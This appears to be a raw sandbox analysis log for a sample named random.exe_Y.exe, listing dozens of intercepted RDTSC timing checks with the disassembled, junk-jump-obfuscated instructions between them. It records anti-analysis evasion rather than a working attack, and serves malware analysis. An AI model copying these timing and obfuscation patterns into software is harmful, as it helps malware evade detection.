Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B7090B second address: 4B70921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3458CA514Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70A08 second address: 4B70A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3458756CB0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70A27 second address: 4B70A5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F3458CA5156h 0x00000010 je 00007F34CB4DAA86h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70A5A second address: 4B70A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70A5E second address: 4B70A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70A64 second address: 4B70AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F3458756CB0h 0x00000015 mov ecx, esi 0x00000017 jmp 00007F3458756CB0h 0x0000001c je 00007F34CAF8C5A4h 0x00000022 jmp 00007F3458756CB0h 0x00000027 test byte ptr [77436968h], 00000002h 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F3458756CAEh 0x00000035 adc si, 3AB8h 0x0000003a jmp 00007F3458756CABh 0x0000003f popfd 0x00000040 mov ebx, eax 0x00000042 popad 0x00000043 jne 00007F34CAF8C576h 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70AF1 second address: 4B70AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70AF5 second address: 4B70B5B instructions: 0x00000000 rdtsc 0x00000002 mov bh, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, 622Ch 0x0000000a popad 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F3458756CABh 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 movzx ecx, di 0x00000018 mov di, 6CF4h 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f mov ebx, eax 0x00000021 pushfd 0x00000022 jmp 00007F3458756CB4h 0x00000027 add si, 96A8h 0x0000002c jmp 00007F3458756CABh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F3458756CB5h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70B5B second address: 4B70BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3458CA5157h 0x00000009 adc ax, 894Eh 0x0000000e jmp 00007F3458CA5159h 0x00000013 popfd 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b pushad 0x0000001c push esi 0x0000001d pop edi 0x0000001e mov ah, AEh 0x00000020 popad 0x00000021 call 00007F3458CA5157h 0x00000026 jmp 00007F3458CA5158h 0x0000002b pop esi 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 call 00007F3458CA514Dh 0x00000036 pop esi 0x00000037 mov ebx, 3098EF34h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70C2C second address: 4B70C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70C30 second address: 4B70C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70C43 second address: 4B70C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70C49 second address: 4B70C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70C4D second address: 4B70C8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007F3458756CB6h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3458756CB7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70C8F second address: 4B70CE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F3458CA5153h 0x00000014 xor ax, A25Eh 0x00000019 jmp 00007F3458CA5159h 0x0000001e popfd 0x0000001f mov ch, 53h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80DBC second address: 4B80E4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458756CAFh 0x00000008 pushfd 0x00000009 jmp 00007F3458756CB8h 0x0000000e and esi, 18875678h 0x00000014 jmp 00007F3458756CABh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007F3458756CB9h 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov bx, ax 0x00000028 pushfd 0x00000029 jmp 00007F3458756CB8h 0x0000002e and si, 3B38h 0x00000033 jmp 00007F3458756CABh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80E4D second address: 4B80E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80E51 second address: 4B80EA7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3458756CB0h 0x00000008 or ah, FFFFFF98h 0x0000000b jmp 00007F3458756CABh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F3458756CB8h 0x00000019 adc ch, FFFFFFF8h 0x0000001c jmp 00007F3458756CABh 0x00000021 popfd 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov esi, ebx 0x00000029 mov eax, edx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80B2F second address: 4B80B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80B33 second address: 4B80B4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80B4E second address: 4B80B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80B53 second address: 4B80B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 316AC618h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F3458756CAEh 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 mov ebx, eax 0x00000016 mov cx, 8A19h 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3458756CABh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80B86 second address: 4B80BAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3458CA5159h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007AE second address: 4C007BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007BB second address: 4C007BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007BF second address: 4C007C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007C5 second address: 4C007CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007CB second address: 4C007CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007CF second address: 4C007D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C007D3 second address: 4C00800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3458756CAFh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3458756CB0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C00800 second address: 4C00804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C00804 second address: 4C0080A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C0080A second address: 4C0080F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C0080F second address: 4C00830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458756CAAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov dx, si 0x00000012 mov dh, ch 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C00830 second address: 4C00834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4C00834 second address: 4C0083A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0AF8 second address: 4BF0B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458CA514Fh 0x00000008 mov ah, 17h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0B16 second address: 4BF0B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0B1A second address: 4BF0B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5158h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0924 second address: 4BF092A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90179 second address: 4B901B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3458CA5157h 0x00000009 sbb esi, 3C3581BEh 0x0000000f jmp 00007F3458CA5159h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B901B6 second address: 4B901E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F3458756CACh 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F3458756CB1h 0x00000014 mov di, ax 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D03 second address: 4BF0D1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 284FAF22h 0x00000008 mov esi, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ecx, 1F106859h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D1A second address: 4BF0D34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458756CB5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D34 second address: 4BF0D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a jmp 00007F3458CA514Ch 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ebx, eax 0x00000014 mov ah, 30h 0x00000016 popad 0x00000017 push dword ptr [ebp+0Ch] 0x0000001a jmp 00007F3458CA5155h 0x0000001f push dword ptr [ebp+08h] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ecx, ebx 0x00000027 jmp 00007F3458CA514Fh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D82 second address: 4BF0D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D88 second address: 4BF0D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D8C second address: 4BF0D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0D90 second address: 4BF0E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F3458CA5149h 0x0000000d jmp 00007F3458CA5157h 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F3458CA514Fh 0x0000001a or cx, 7E4Eh 0x0000001f jmp 00007F3458CA5159h 0x00000024 popfd 0x00000025 jmp 00007F3458CA5150h 0x0000002a popad 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f pushad 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F3458CA5157h 0x00000037 jmp 00007F3458CA5153h 0x0000003c popfd 0x0000003d jmp 00007F3458CA5158h 0x00000042 popad 0x00000043 mov si, 6D21h 0x00000047 popad 0x00000048 mov eax, dword ptr [eax] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0E51 second address: 4BF0E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, ch 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0E58 second address: 4BF0E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0E5E second address: 4BF0E7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movzx eax, di 0x00000015 mov dh, 82h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0EB5 second address: 4BF0EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0EB9 second address: 4BF0EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BF0EBF second address: 4BF0EFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c jmp 00007F3458CA5150h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3458CA5157h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA066E second address: 4BA068D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3458756CAAh 0x0000000a and cl, 00000008h 0x0000000d jmp 00007F3458756CABh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA068D second address: 4BA06B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA06B1 second address: 4BA06B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA06B5 second address: 4BA06BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA06BB second address: 4BA06D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA06D0 second address: 4BA0731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F3458CA5153h 0x00000016 and ax, 1CBEh 0x0000001b jmp 00007F3458CA5159h 0x00000020 popfd 0x00000021 call 00007F3458CA5150h 0x00000026 pop eax 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0731 second address: 4BA0754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3458756CAEh 0x00000009 or ah, FFFFFFE8h 0x0000000c jmp 00007F3458756CABh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0754 second address: 4BA0839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push FFFFFFFEh 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F3458CA5151h 0x00000010 xor eax, 60516306h 0x00000016 jmp 00007F3458CA5151h 0x0000001b popfd 0x0000001c popad 0x0000001d push 51F762C7h 0x00000022 pushad 0x00000023 mov edi, 72277890h 0x00000028 mov ecx, edx 0x0000002a popad 0x0000002b add dword ptr [esp], 254A5D51h 0x00000032 jmp 00007F3458CA514Bh 0x00000037 push 06026CF9h 0x0000003c pushad 0x0000003d jmp 00007F3458CA5150h 0x00000042 popad 0x00000043 xor dword ptr [esp], 713AC2F9h 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F3458CA514Eh 0x00000051 sbb si, B738h 0x00000056 jmp 00007F3458CA514Bh 0x0000005b popfd 0x0000005c jmp 00007F3458CA5158h 0x00000061 popad 0x00000062 mov eax, dword ptr fs:[00000000h] 0x00000068 jmp 00007F3458CA5150h 0x0000006d nop 0x0000006e jmp 00007F3458CA5150h 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007F3458CA514Eh 0x0000007b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0839 second address: 4BA087F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e popad 0x0000000f sub esp, 1Ch 0x00000012 jmp 00007F3458756CADh 0x00000017 xchg eax, ebx 0x00000018 jmp 00007F3458756CAEh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F3458756CADh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA087F second address: 4BA0885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0885 second address: 4BA08A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3458756CAAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA08A4 second address: 4BA08A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA08A8 second address: 4BA08AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA08AE second address: 4BA08B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA08B4 second address: 4BA08B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA08B8 second address: 4BA08CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3458CA514Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA08CE second address: 4BA091D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, 263ED369h 0x00000012 pushfd 0x00000013 jmp 00007F3458756CB6h 0x00000018 sbb si, CA38h 0x0000001d jmp 00007F3458756CABh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA091D second address: 4BA0923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0923 second address: 4BA0927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0927 second address: 4BA092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
